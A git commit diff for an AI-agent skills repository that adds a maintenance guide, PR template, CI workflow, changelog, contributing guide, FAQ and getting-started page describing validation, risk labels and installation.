chore(release): prepare for v3.2.0

Updated the description to clarify the guidelines and standards for frontend development in React and TypeScript applications. Enhanced the structure and content for better readability and understanding.

.github/MAINTENANCE.md

@@ -0,0 +1,143 @@
+# 🛠️ Repository Maintenance Guide (V3)
+
+> **"If it's not documented, it's broken."**
+
+This guide details the exact procedures for maintaining `antigravity-awesome-skills`.
+It covers the **Quality Bar**, **Documentation Consistency**, and **Release Workflows**.
+
+---
+
+## 1. 🚦 Daily Maintenance Routine
+
+### A. Validation Chain
+
+Before ANY commit that adds/modifies skills, run the chain:
+
+1.  **Validate Metadata & Quality**:
+
+    ```bash
+    python3 scripts/validate_skills.py
+    ```
+
+    _Must return 0 errors for new skills._
+
+2.  **Regenerate Index**:
+    python3 scripts/generate_index.py
+
+    ```
+
+    ```
+
+3.  **Update Readme**:
+
+    ```bash
+    python3 scripts/update_readme.py
+    ```
+
+4.  **COMMIT GENERATED FILES**:
+    ```bash
+    git add skills_index.json README.md
+    git commit -m "chore: sync generated files"
+    ```
+    > 🔴 **CRITICAL**: If you skip this, CI will fail with "Detected uncommitted changes".
+    > See [docs/CI_DRIFT_FIX.md](../docs/CI_DRIFT_FIX.md) for details.
+
+### B. Post-Merge Routine (Must Do)
+
+After multiple PR merges or significant changes:
+
+1.  **Sync Contributors List**:
+    - Run: `git shortlog -sn --all`
+    - Update `## Repo Contributors` in README.md.
+
+2.  **Verify Table of Contents**:
+    - Ensure all new headers have clean anchors.
+    - **NO EMOJIS** in H2 headers.
+
+3.  **Draft a Release**:
+    - Go to [Releases Page](https://github.com/sickn33/antigravity-awesome-skills/releases).
+    - Draft a new release for the merged changes.
+    - Tag version (e.g., `v3.1.0`).
+
+---
+
+## 2. 📝 Documentation "Pixel Perfect" Rules
+
+We discovered several consistency issues during V3 development. Follow these rules STRICTLY.
+
+### A. Table of Contents (TOC) Anchors
+
+GitHub's anchor generation breaks if headers have emojis.
+
+- **BAD**: `## 🚀 New Here?` -> Anchor: `#--new-here` (Broken)
+- **GOOD**: `## New Here?` -> Anchor: `#new-here` (Clean)
+
+**Rule**: **NEVER put emojis in H2 (`##`) headers.** Put them in the text below if needed.
+
+### B. The "Trinity" of Docs
+
+If you update installation instructions or tool compatibility, you MUST update all 3 files:
+
+1.  `README.md` (Source of Truth)
+2.  `GETTING_STARTED.md` (Beginner Guide)
+3.  `FAQ.md` (Troubleshooting)
+
+_Common pitfall: Updating the clone URL in README but leaving an old one in FAQ._
+
+### C. Statistics
+
+If you add skills, update the counts:
+
+- Title of `README.md`: "253+ Agentic Skills..."
+- `## Full Skill Registry (253/253)` header.
+- `GETTING_STARTED.md` intro.
+
+### D. Badges & Links
+
+- **Antigravity Badge**: Must point to `https://github.com/sickn33/antigravity-awesome-skills`, NOT `anthropics/antigravity`.
+- **License**: Ensure the link points to `LICENSE` file.
+
+---
+
+## 3. 🛡️ Governance & Quality Bar
+
+### A. The 5-Point Quality Check
+
+Reject any PR that fails this:
+
+1.  **Metadata**: Has `name`, `description`?
+2.  **Safety**: `risk: offensive` used for red-team tools?
+3.  **Clarity**: Does it say _when_ to use it?
+4.  **Examples**: Copy-pasteable code blocks?
+5.  **Actions**: "Run this command" vs "Think about this".
+
+### B. Risk Labels (V3)
+
+- ⚪ **Safe**: Default.
+- 🔴 **Risk**: Destructive/Security tools. MUST have `[Authorized Use Only]` warning.
+- 🟣 **Official**: Vendor mirrors only.
+
+---
+
+## 4. 🚀 Release Workflow
+
+When cutting a new version (e.g., V4):
+
+1.  **Run Full Validation**: `python3 scripts/validate_skills.py --strict`
+2.  **Update Changelog**: Create `RELEASE_NOTES.md`.
+3.  **Bump Version**: Update header in `README.md`.
+4.  **Tag Release**:
+    ```bash
+    git tag -a v3.0.0 -m "V3 Enterprise Edition"
+    git push origin v3.0.0
+    ```
+
+---
+
+## 5. 🚨 Emergency Fixes
+
+If a skill is found to be harmful or broken:
+
+1.  **Move to broken folder** (don't detect): `mv skills/bad-skill skills/.broken/`
+2.  **Or Add Warning**: Add `> [!WARNING]` to the top of `SKILL.md`.
+3.  **Push Immediately**.

.github/PULL_REQUEST_TEMPLATE.md

@@ -1,17 +1,22 @@
-## Description
+# Pull Request Description
 
-Please describe your changes. What skill are you adding or modifying?
+Please include a summary of the change and which skill is added or fixed.
 
-## Checklist
+## Quality Bar Checklist ✅
 
-- [ ] My skill follows the [creation guidelines](https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/skill-creator)
-- [ ] I have run `validate_skills.py`
-- [ ] I have added my name to the credits (if applicable)
+**All items must be checked before merging.**
+
+- [ ] **Standards**: I have read `docs/QUALITY_BAR.md` and `docs/SECURITY_GUARDRAILS.md`.
+- [ ] **Metadata**: The `SKILL.md` frontmatter is valid (checked with `scripts/validate_skills.py`).
+- [ ] **Risk Label**: I have assigned the correct `risk:` tag (`none`, `safe`, `critical`, `offensive`).
+- [ ] **Triggers**: The "When to use" section is clear and specific.
+- [ ] **Security**: If this is an _offensive_ skill, I included the "Authorized Use Only" disclaimer.
+- [ ] **Local Test**: I have verified the skill works locally.
+- [ ] **Credits**: I have added the source credit in `README.md` (if applicable).
 
 ## Type of Change
 
-- [ ] New Skill
-- [ ] Bug Fix
+- [ ] New Skill (Feature)
 - [ ] Documentation Update
 - [ ] Infrastructure
 

.github/workflows/ci.yml

@@ -0,0 +1,38 @@
+name: Skills Registry CI
+
+on:
+  push:
+    branches: ["main", "feat/*"]
+  pull_request:
+    branches: ["main"]
+
+jobs:
+  validate-and-build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Set up Python
+        uses: actions/setup-python@v5
+        with:
+          python-version: "3.10"
+
+      - name: Install dependencies
+        run: |
+          pip install pyyaml
+
+      - name: 🔍 Validate Skills (Soft Mode)
+        run: |
+          python3 scripts/validate_skills.py
+
+      - name: 🏗️ Generate Index
+        run: |
+          python3 scripts/generate_index.py
+
+      - name: 📝 Update README
+        run: |
+          python3 scripts/update_readme.py
+
+      - name: 🚨 Check for Uncommitted Drift
+        run: |
+          git diff --exit-code || (echo "❌ Detected uncommitted changes in README.md or skills_index.json. Please run scripts locally and commit." && exit 1)

.gitignore

@@ -0,0 +1,6 @@
+
+
+walkthrough.md
+.agent/rules/
+.gemini/
+LOCAL_CONFIG.md

CHANGELOG.md

@@ -0,0 +1,347 @@
+# Changelog
+
+All notable changes to the **Antigravity Awesome Skills** collection are documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+---
+
+---
+
+---
+
+## [3.2.0] - 2026-01-26 - "Clarity & Consistency"
+
+### Changed
+
+- **Skills Refactoring**: Significant overhaul of `backend-dev-guidelines`, `frontend-design`, `frontend-dev-guidelines`, and `mobile-design`.
+  - **Consolidation**: Merged fragmented documentation into single, authoritative `SKILL.md` files.
+  - **Final Laws**: Introduced "Final Laws" sections to provide strict, non-negotiable decision frameworks.
+  - **Simplification**: Removed external file dependencies to improve context retrieval for AI agents.
+
+### Fixed
+
+- **Validation**: Fixed critical YAML frontmatter formatting issues in `seo-fundamentals`, `programmatic-seo`, and `schema-markup` that were blocking strict validation.
+- **Merge Conflicts**: Resolved text artifact conflicts in SEO skills.
+
+## [3.1.0] - 2026-01-26 - "Stable & Deterministic"
+
+### Fixed
+
+- **CI/CD Drift**: Resolved persistent "Uncommitted Changes" errors in CI by making the index generation script deterministic (sorting by name + ID).
+- **Registry Sync**: Synced `README.md` and `skills_index.json` to accurately reflect all 253 skills.
+
+### Added (Registry Restore)
+
+The following skills are now correctly indexed and visible in the registry:
+
+- **Marketing & Growth**: `programmatic-seo`, `schema-markup`, `seo-fundamentals`, `form-cro`, `popup-cro`, `analytics-tracking`.
+- **Security**: `windows-privilege-escalation`, `wireshark-analysis`, `wordpress-penetration-testing`, `writing-plans`.
+- **Development**: `tdd-workflow`, `web-performance-optimization`, `webapp-testing`, `workflow-automation`, `zapier-make-patterns`.
+- **Maker Tools**: `telegram-bot-builder`, `telegram-mini-app`, `viral-generator-builder`.
+
+### Changed
+
+- **Documentation**: Added `docs/CI_DRIFT_FIX.md` as a canonical reference for resolving drift issues.
+- **Guidance**: Updated `GETTING_STARTED.md` counts to match the full registry (253+ skills).
+- **Maintenance**: Updated `MAINTENANCE.md` with strict protocols for handling generated files.
+
+## [3.0.0] - 2026-01-25 - "The Governance Update"
+
+### Added
+
+- **Governance & Security**:
+  - `docs/QUALITY_BAR.md`: Defined 5-point validation standard (Metadata, Risk, Triggers).
+  - `docs/SECURITY_GUARDRAILS.md`: Enforced "Authorized Use Only" for offensive skills.
+  - `CODE_OF_CONDUCT.md`: Adhered to Contributor Covenant v2.1.
+- **Automation**:
+  - `scripts/validate_skills.py`: Automated Quality Bar enforcement (Soft Mode supported).
+  - `.github/workflows/ci.yml`: Automated PR checks.
+  - `scripts/generate_index.py`: Registry generation with Risk & Source columns.
+- **Experience**:
+  - `docs/BUNDLES.md`: 9 Starter Packs (Essentials, Security, Web, Agent, Game Dev, DevOps, Data, Testing, Creative).
+  - **Interactive Registry**: README now features Risk Levels (🔴/🟢/🟣) and Collections.
+- **Documentation**:
+  - `docs/EXAMPLES.md`: Cookbook with 3 real-world scenarios.
+  - `docs/SOURCES.md`: Legal ledger for attributions and licenses.
+  - `RELEASE_NOTES.md`: Generated release announcement (archived).
+
+### Changed
+
+- **Standardization**: All 250+ skills are now validated against the new Quality Bar schema.
+- **Project Structure**: Introduced `docs/` folder for scalable documentation.
+
+## [2.14.0] - 2026-01-25 - "Web Intelligence & Windows"
+
+### Added
+
+- **New Skill**:
+  - `context7-auto-research`: Auto-research capability for Claude Code.
+  - `codex-review`: Professional code review with AI integration.
+  - `exa-search`: Semantic search and discovery using Exa API.
+  - `firecrawl-scraper`: Deep web scraping and PDF parsing.
+  - `tavily-web`: Content extraction and research using Tavily.
+  - `busybox-on-windows`: UNIX tool suite for Windows environments.
+
+### Changed
+
+- **Documentation**: Updated `obsidian-clipper-template-creator` docs and templates.
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry.
+
+### Fixed
+
+- **Skills**: Fixed YAML frontmatter quoting in `lint-and-validate`.
+
+## [2.13.0] - 2026-01-24 - "NoSQL Expert"
+
+### Added
+
+- **New Skill**:
+  - `nosql-expert`: Expert guidance for distributed NoSQL databases (Cassandra, DynamoDB), focusing on query-first modeling and anti-patterns.
+
+### Changed
+
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry.
+
+### Contributors
+
+- [@sickn33](https://github.com/sickn33) - PR #23
+
+## [2.12.0] - 2026-01-23 - "Enterprise & UI Power"
+
+### Added
+
+- **New Skills**:
+  - `production-code-audit`: Comprehensive enterprise auditing skill for production readiness.
+  - `avalonia-layout-zafiro`: Zafiro layout guidelines for Avalonia UI.
+  - `avalonia-viewmodels-zafiro`: ViewModel composition patterns for Avalonia.
+  - `avalonia-zafiro-development`: Core development rules for Avalonia Zafiro applications.
+
+### Changed
+
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry (Total: 243 skills).
+
+### Contributors
+
+- [@SuperJMN](https://github.com/SuperJMN) - PR #20
+- [@Mohammad-Faiz-Cloud-Engineer](https://github.com/Mohammad-Faiz-Cloud-Engineer) - PR #21
+
+## [2.11.0] - 2026-01-23 - "Postgres Performance"
+
+### Added
+
+- **New Skill**:
+  - `postgres-best-practices`: Comprehensive Supabase PostgreSQL performance optimization guide with 30+ rules covering query performance, connection management, RLS security, schema design, locking, and monitoring.
+
+### Changed
+
+- **Official Sources**: Added [supabase/agent-skills](https://github.com/supabase/agent-skills) to Credits & Sources.
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry (Total: 239 skills).
+
+### Contributors
+
+- [@ar27111994](https://github.com/ar27111994) - PR #19
+
+---
+
+## [2.10.0] - 2026-01-22 - "Developer Excellence"
+
+### Added
+
+- **New Skills**:
+  - `api-security-best-practices`: Comprehensive guide for secure API design and defense.
+  - `environment-setup-guide`: Systematic approach to project onboarding and tool configuration.
+  - `web-performance-optimization`: Methodologies for optimizing Core Web Vitals and loading speed.
+
+### Changed
+
+- **Enhanced Skill**:
+  - `code-review-checklist`: Replaced with a much more detailed and systematic version covering functionality, security, and quality.
+
+### Fixed
+
+- **Index & Registry**: Updated `skills_index.json` and `README.md` registry (Total: 238 skills).
+
+### Added
+
+- **Automation Support**:
+  - `scripts/update_readme.py`: Automated script to sync skill counts and regenerate the registry table.
+  - Updated `MAINTENANCE.md` to reflect the new automated workflow.
+- **Repository Quality**:
+  - `MAINTENANCE.md` is now tracked in the repository (removed from `.gitignore`).
+  - Improved contribution guidelines.
+
+## [2.8.0] - 2026-01-22 - "Documentation Power"
+
+### Added
+
+- **API Documentation Generator**: New skill to automatically generate comprehensive API documentation (`skills/api-documentation-generator`).
+- **Remotion Best Practices**: 28 modular rules for programmatic video creation (`skills/remotion-best-practices`).
+
+## [2.7.0] - 2026-01-22 - "Agent Memory"
+
+### Added
+
+- **Agent Memory MCP**: New skill providing persistent, searchable knowledge management for AI agents (`skills/agent-memory-mcp`).
+
+### Changed
+
+- **Renamed Skill**: `agent-memory` was renamed to `agent-memory-mcp` to avoid naming conflicts.
+
+---
+
+## [2.6.0] - 2026-01-21 - "Everything Skills Edition"
+
+### Added
+
+- **8 Verified Skills** from [affaan-m/everything-claude-code](https://github.com/affaan-m/everything-claude-code):
+  - `cc-skill-backend-patterns`
+  - `cc-skill-clickhouse-io`
+  - `cc-skill-coding-standards`
+  - `cc-skill-continuous-learning`
+  - `cc-skill-frontend-patterns`
+  - `cc-skill-project-guidelines-example`
+  - `cc-skill-security-review`
+  - `cc-skill-strategic-compact`
+- **Documentation**: New `WALKTHROUGH.md` for import process details.
+
+### Changed
+
+- **Skill Cleanup**: Removed 27 unwanted agents, commands, and rules from the `everything-claude-code` import to focus strictly on skills.
+- **Index**: Regenerated `skills_index.json` (Total: 233 skills).
+- **Credits**: Updated README credits and registry.
+
+## [1.0.0] - 2026-01-19 - "Marketing Edition"
+
+### Added
+
+- **23 Marketing & Growth skills** from [coreyhaines31/marketingskills](https://github.com/coreyhaines31/marketingskills):
+  - **CRO**: `page-cro`, `signup-flow-cro`, `onboarding-cro`, `form-cro`, `popup-cro`, `paywall-upgrade-cro`
+  - **Content**: `copywriting`, `copy-editing`, `email-sequence`
+  - **SEO**: `seo-audit`, `programmatic-seo`, `schema-markup`, `competitor-alternatives`
+  - **Paid**: `paid-ads`, `social-content`
+  - **Growth**: `referral-program`, `launch-strategy`, `free-tool-strategy`
+  - **Analytics**: `ab-test-setup`, `analytics-tracking`
+  - **Strategy**: `pricing-strategy`, `marketing-ideas`, `marketing-psychology`
+- New "Marketing & Growth" category in Features table
+
+### Changed
+
+- Total skills count: **179**
+
+---
+
+## [0.7.0] - 2026-01-19 - "Education Edition"
+
+### Added
+
+- **Moodle External API Development** skill via PR #6
+- Comprehensive Moodle LMS web service API development
+
+### Changed
+
+- Total skills count: **156**
+
+---
+
+## [0.6.0] - 2026-01-19 - "Vibeship Integration"
+
+### Added
+
+- **57 skills** from [vibeforge1111/vibeship-spawner-skills](https://github.com/vibeforge1111/vibeship-spawner-skills):
+  - AI Agents category (~30 skills)
+  - Integrations & APIs (~25 skills)
+  - Maker Tools (~11 skills)
+- Alphabetically sorted skill registry
+
+### Changed
+
+- Total skills count: **155**
+
+---
+
+## [0.5.0] - 2026-01-18 - "Agent Manager"
+
+### Added
+
+- **Agent Manager Skill** - Multi-agent orchestration via tmux
+- Major repository expansion with community contributions
+
+### Changed
+
+- Total skills count: **131**
+
+---
+
+## [0.4.0] - 2026-01-18 - "Security Fortress"
+
+### Added
+
+- **60+ Cybersecurity skills** from [zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide):
+  - Ethical Hacking Methodology
+  - Metasploit Framework
+  - Burp Suite Testing
+  - SQLMap, Active Directory, AWS Pentesting
+  - OWASP Top 100 Vulnerabilities
+  - Red Team Tools
+- `claude-code-guide` skill
+
+### Changed
+
+- Total skills count: ~90
+
+---
+
+## [0.3.0] - 2026-01-17 - "First Stable Registry"
+
+### Added
+
+- Complete skill registry table in README
+- GitHub workflow automation
+- SEO optimizations
+
+### Changed
+
+- Total skills count: **71**
+
+---
+
+## [0.2.0] - 2026-01-16 - "Official Skills"
+
+### Added
+
+- **Official Anthropic skills** integration
+- **Vercel Labs skills** integration
+- BlockRun: Agent Wallet for LLM Micropayments
+- 7 new skills from GitHub analysis
+
+### Changed
+
+- Total skills count: **~65**
+
+---
+
+## [0.1.0] - 2026-01-15 - "Initial Release"
+
+### Added
+
+- **58 core skills** aggregated from community:
+  - [obra/superpowers](https://github.com/obra/superpowers) - Original Superpowers
+  - [guanyang/antigravity-skills](https://github.com/guanyang/antigravity-skills) - Core extensions
+  - [diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase) - Infrastructure skills
+  - [ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase) - React UI patterns
+  - [travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills) - Loki Mode
+  - [alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills) - Senior Engineering
+- Universal **SKILL.md** format
+- Compatibility with Claude Code, Gemini CLI, Cursor, Copilot, Antigravity
+
+---
+
+## Credits
+
+See [README.md](README.md#credits--sources) for full attribution.
+
+## License
+
+MIT License - See [LICENSE](LICENSE) for details.

CONTRIBUTING.md

@@ -0,0 +1,236 @@
+# 🤝 Contributing Guide - V3 Enterprise Edition
+
+**Thank you for wanting to make this repo better!** This guide shows you exactly how to contribute, even if you're new to open source.
+With V3, we raised the bar for quality. Please read the **new Quality Standards** below carefully.
+
+---
+
+## 🧐 The "Quality Bar" (V3 Standard)
+
+**Critical for new skills:** Every skill submitted must pass our **5-Point Quality Check** (see `docs/QUALITY_BAR.md` for details):
+
+1.  **Metadata**: Correct Frontmatter (`name`, `description`).
+2.  **Safety**: No harmful commands without "Risk" labels.
+3.  **Clarity**: Clear "When to use" section.
+4.  **Examples**: At least one copy-paste usage example.
+5.  **Actions**: Must define concrete steps, not just "thoughts".
+
+---
+
+## Ways to Contribute
+
+You don't need to be an expert! Here are ways anyone can help:
+
+### 1. Improve Documentation (Easiest!)
+
+- Fix typos or grammar
+- Make explanations clearer
+- Add examples to existing skills
+- Translate documentation to other languages
+
+### 2. Report Issues
+
+- Found something confusing? Tell us!
+- Skill not working? Let us know!
+- Have suggestions? We want to hear them!
+
+### 3. Create New Skills
+
+- Share your expertise as a skill
+- Fill gaps in the current collection
+- Improve existing skills
+
+### 4. Test and Validate
+
+- Try skills and report what works/doesn't work
+- Test on different AI tools
+- Suggest improvements
+
+---
+
+## How to Create a New Skill
+
+### Step-by-Step Guide
+
+#### Step 1: Choose Your Skill Topic
+
+Ask yourself: "What do I wish my AI assistant knew better?".
+Example: "I'm good at Docker, let me create a Docker skill".
+
+#### Step 2: Create the Folder Structure
+
+Skills live in the `skills/` directory. Use `kebab-case` for folder names.
+
+```bash
+# Navigate to skills
+cd skills/
+
+# Create your skill folder
+mkdir my-awesome-skill
+cd my-awesome-skill
+
+# Create the SKILL.md file
+touch SKILL.md
+```
+
+#### Step 3: Write Your SKILL.md
+
+Every skill needs this basic structure. **Copy this template:**
+
+```markdown
+---
+name: my-awesome-skill
+description: "Brief one-line description of what this skill does"
+---
+
+# Skill Title
+
+## Overview
+
+Explain what this skill does and when to use it.
+
+## When to Use This Skill
+
+- Use when [scenario 1]
+- Use when [scenario 2]
+
+## How It Works
+
+Detailed step-by-step instructions for the AI...
+
+## Examples
+
+### Example 1
+
+\`\`\`
+code example here
+\`\`\`
+
+## Best Practices
+
+- ✅ Do this
+- ❌ Don't do this
+```
+
+#### Step 4: Validate (CRITICAL V3 STEP)
+
+Run the validation script locally. **We will not merge PRs that fail this check.**
+
+```bash
+# Soft mode (warnings only)
+python3 scripts/validate_skills.py
+
+# Hard mode (what CI runs)
+python3 scripts/validate_skills.py --strict
+```
+
+This checks:
+
+- ✅ `SKILL.md` exists
+- ✅ Frontmatter is correct
+- ✅ Name matches folder name
+- ✅ Quality Bar checks passed
+
+#### Step 5: Submit Your Skill
+
+```bash
+git add skills/my-awesome-skill/
+git commit -m "feat: add my-awesome-skill"
+git push origin my-branch
+```
+
+---
+
+## Skill Template (Copy & Paste)
+
+Save time! Copy this template:
+
+```markdown
+---
+name: your-skill-name
+description: "One sentence describing what this skill does and when to use it"
+---
+
+# Your Skill Name
+
+## Overview
+
+[2-3 sentences explaining what this skill does]
+
+## When to Use This Skill
+
+- Use when you need to [scenario 1]
+- Use when you want to [scenario 2]
+
+## Step-by-Step Guide
+
+### 1. [First Step Name]
+
+[Detailed instructions]
+
+## Examples
+
+### Example 1: [Use Case Name]
+
+\`\`\`language
+// Example code here
+\`\`\`
+
+## Best Practices
+
+- ✅ **Do:** [Good practice]
+- ❌ **Don't:** [What to avoid]
+
+## Troubleshooting
+
+**Problem:** [Common Issue]
+**Solution:** [How to fix it]
+```
+
+---
+
+## Commit Message Guidelines
+
+Use these prefixes:
+
+- `feat:` - New skill or major feature
+- `docs:` - Documentation improvements
+- `fix:` - Bug fixes
+- `refactor:` - Code improvements without changing functionality
+- `test:` - Adding or updating tests
+- `chore:` - Maintenance tasks
+
+**Examples:**
+
+```
+feat: add kubernetes-deployment skill
+docs: improve getting started guide
+fix: correct typo in stripe-integration skill
+```
+
+---
+
+## Learning Resources
+
+### New to Git/GitHub?
+
+- [GitHub's Hello World Guide](https://guides.github.com/activities/hello-world/)
+- [Git Basics](https://git-scm.com/book/en/v2/Getting-Started-Git-Basics)
+
+### New to Markdown?
+
+- [Markdown Guide](https://www.markdownguide.org/basic-syntax/)
+
+---
+
+## Code of Conduct
+
+- Be respectful and inclusive
+- Welcome newcomers
+- Focus on constructive feedback
+- **No harmful content**: See `docs/SECURITY_GUARDRAILS.md`.
+
+---
+
+**Thank you for making this project better for everyone!**
+Every contribution, no matter how small, makes a difference. Whether you fix a typo, improve a sentence, or create a whole new skill - you're helping thousands of developers!

FAQ.md

@@ -0,0 +1,178 @@
+# ❓ Frequently Asked Questions (FAQ)
+
+**Got questions?** You're not alone! Here are answers to the most common questions about Antigravity Awesome Skills.
+
+---
+
+## 🎯 General Questions
+
+### What are "skills" exactly?
+
+Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
+**Simple analogy:** Just like you might consult different experts (a lawyer, a doctor, a mechanic), these skills let your AI become an expert in different areas when you need them.
+
+### Do I need to install all 250+ skills?
+
+**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name`.
+It's like having a library - all books are there, but you only read the ones you need.
+**Pro Tip:** Use [Starter Packs](docs/BUNDLES.md) to install only what matches your role.
+
+### Which AI tools work with these skills?
+
+- ✅ **Claude Code** (Anthropic CLI)
+- ✅ **Gemini CLI** (Google)
+- ✅ **Codex CLI** (OpenAI)
+- ✅ **Cursor** (AI IDE)
+- ✅ **Antigravity IDE**
+- ✅ **OpenCode**
+- ⚠️ **GitHub Copilot** (partial support via copy-paste)
+
+### Are these skills free to use?
+
+**Yes!** This repository is licensed under MIT License.
+
+- ✅ Free for personal use
+- ✅ Free for commercial use
+- ✅ You can modify them
+
+### Do skills work offline?
+
+The skill files themselves are stored locally on your computer, but your AI assistant needs an internet connection to function.
+
+---
+
+## 🔒 Security & Trust (V3 Update)
+
+### What do the Risk Labels mean?
+
+We classify skills so you know what you're running:
+
+- ⚪ **Safe (White/Blue)**: Read-only, planning, or benign skills.
+- 🔴 **Risk (Red)**: Skills that modify files (delete), use network scanners, or perform destructive actions. **Use with caution.**
+- 🟣 **Official (Purple)**: Maintained by trusted vendors (Anthropic, DeepMind, etc.).
+
+### Can these skills hack my computer?
+
+**No.** Skills are text files. However, they _instruct_ the AI to run commands. If a skill says "delete all files", a compliant AI might try to do it.
+_Always check the Risk label and review the code._
+
+---
+
+## 📦 Installation & Setup
+
+### Where should I install the skills?
+
+The universal path that works with most tools is `.agent/skills/`:
+
+```bash
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+**Tool-specific paths:**
+
+- Claude Code: `.claude/skills/`
+- Gemini CLI: `.gemini/skills/`
+- Cursor: `.cursor/skills/` or project root
+
+### Does this work with Windows?
+
+**Yes**, but some "Official" skills use **symlinks** which Windows handles poorly by default.
+Run git with:
+
+```bash
+git clone -c core.symlinks=true https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+Or enable "Developer Mode" in Windows Settings.
+
+### How do I update skills?
+
+Navigate to your skills directory and pull the latest changes:
+
+```bash
+cd .agent/skills
+git pull origin main
+```
+
+---
+
+## 🛠️ Using Skills
+
+### How do I invoke a skill?
+
+Use the `@` symbol followed by the skill name:
+
+```
+@brainstorming help me design a todo app
+```
+
+### Can I use multiple skills at once?
+
+**Yes!** You can invoke multiple skills:
+
+```
+@brainstorming help me design this, then use @writing-plans to create a task list.
+```
+
+### How do I know which skill to use?
+
+1.  **Browse the README**: Check the [Full Skill Registry](README.md#full-skill-registry-253253).
+2.  **Search**: `ls skills/ | grep "keyword"`
+3.  **Ask your AI**: "What skills do you have for testing?"
+
+---
+
+## 🏗️ Troubleshooting
+
+### My AI assistant doesn't recognize skills
+
+**Possible causes:**
+
+1.  **Wrong installation path**: Check your tool's docs. Try `.agent/skills/`.
+2.  **Restart Needed**: Restart your AI/IDE after installing.
+3.  **Typos**: Did you type `@brain-storming` instead of `@brainstorming`?
+
+### A skill gives incorrect or outdated advice
+
+Please [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues)!
+Include:
+
+- Which skill
+- What went wrong
+- What should happen instead
+
+---
+
+## 🤝 Contribution
+
+### I'm new to open source. Can I contribute?
+
+**Absolutely!** We welcome beginners.
+
+- Fix typos
+- Add examples
+- Improve docs
+  Check out [CONTRIBUTING.md](CONTRIBUTING.md) for instructions.
+
+### My PR failed "Quality Bar" check. Why?
+
+V3 introduces automated quality control. Your skill might be missing:
+
+1.  A valid `description`.
+2.  Usage examples.
+    Run `python3 scripts/validate_skills.py` locally to check before you push.
+
+### Can I update an "Official" skill?
+
+**No.** Official skills (in `skills/official/`) are mirrored from vendors. Open an issue instead.
+
+---
+
+## 💡 Pro Tips
+
+- Start with `@brainstorming` before building anything new
+- Use `@systematic-debugging` when stuck on bugs
+- Try `@test-driven-development` for better code quality
+- Explore `@skill-creator` to make your own skills
+
+**Still confused?** [Open a discussion](https://github.com/sickn33/antigravity-awesome-skills/discussions) and we'll help you out! 🙌

GETTING_STARTED.md

@@ -0,0 +1,108 @@
+# Getting Started with Antigravity Awesome Skills (V3)
+
+**New here? This guide will help you supercharge your AI Agent in 5 minutes.**
+
+---
+
+## 🤔 What Are "Skills"?
+
+AI Agents (like **Claude Code**, **Gemini**, **Cursor**) are smart, but they lack specific knowledge about your tools.
+**Skills** are specialized instruction manuals (markdown files) that teach your AI how to perform specific tasks perfectly, every time.
+
+**Analogy:** Your AI is a brilliant intern. **Skills** are the SOPs (Standard Operating Procedures) that make them a Senior Engineer.
+
+---
+
+## ⚡️ Quick Start: The "Starter Packs"
+
+Don't panic about the 253+ skills. You don't need them all at once.
+We have curated **Starter Packs** to get you running immediately.
+
+### 1. Install the Repo
+
+Copy the skills to your agent's folder:
+
+```bash
+# Universal Installation (works for most agents)
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+### 2. Pick Your Persona
+
+Find the bundle that matches your role (see [docs/BUNDLES.md](docs/BUNDLES.md)):
+
+| Persona               | Bundle Name    | What's Inside?                                    |
+| :-------------------- | :------------- | :------------------------------------------------ |
+| **Web Developer**     | `Web Wizard`   | React Patterns, Tailwind mastery, Frontend Design |
+| **Security Engineer** | `Hacker Pack`  | OWASP, Metasploit, Pentest Methodology            |
+| **Manager / PM**      | `Product Pack` | Brainstorming, Planning, SEO, Strategy            |
+| **Everything**        | `Essentials`   | Clean Code, Planning, Validation (The Basics)     |
+
+---
+
+## 🚀 How to Use a Skill
+
+Once installed, just talk to your AI naturally.
+
+### Example 1: Planning a Feature (**Essentials**)
+
+> "Use **@brainstorming** to help me design a new login flow."
+
+**What happens:** The AI loads the brainstorming skill, asks you structured questions, and produces a professional spec.
+
+### Example 2: Checking Your Code (**Web Wizard**)
+
+> "Run **@lint-and-validate** on this file and fix errors."
+
+**What happens:** The AI follows strict linting rules defined in the skill to clean your code.
+
+### Example 3: Security Audit (**Hacker Pack**)
+
+> "Use **@api-security-best-practices** to review my API endpoints."
+
+**What happens:** The AI audits your code against OWASP standards.
+
+---
+
+## 🔌 Supported Tools
+
+| Tool            | Status          | Path              |
+| :-------------- | :-------------- | :---------------- |
+| **Claude Code** | ✅ Full Support | `.claude/skills/` |
+| **Gemini CLI**  | ✅ Full Support | `.gemini/skills/` |
+| **Antigravity** | ✅ Native       | `.agent/skills/`  |
+| **Cursor**      | ✅ Native       | `.cursor/skills/` |
+| **Copilot**     | ⚠️ Text Only    | Manual copy-paste |
+
+---
+
+## 🛡️ Trust & Safety (New in V3)
+
+We classify skills so you know what you're running:
+
+- 🟣 **Official**: Maintained by Anthropic/Google/Vendors (High Trust).
+- 🔵 **Safe**: Community skills that are non-destructive (Read-only/Planning).
+- 🔴 **Risk**: Skills that modify systems or perform security tests (Authorized Use Only).
+
+_Check the [Full Registry](README.md#full-skill-registry-253253) for risk labels._
+
+---
+
+## ❓ FAQ
+
+**Q: Do I need to install all 250 skills?**
+A: You clone the whole repo, but your AI only _reads_ the ones you ask for (or that are relevant). It's lightweight!
+
+**Q: Can I make my own skills?**
+A: Yes! Use the **@skill-creator** skill to build your own.
+
+**Q: Is this free?**
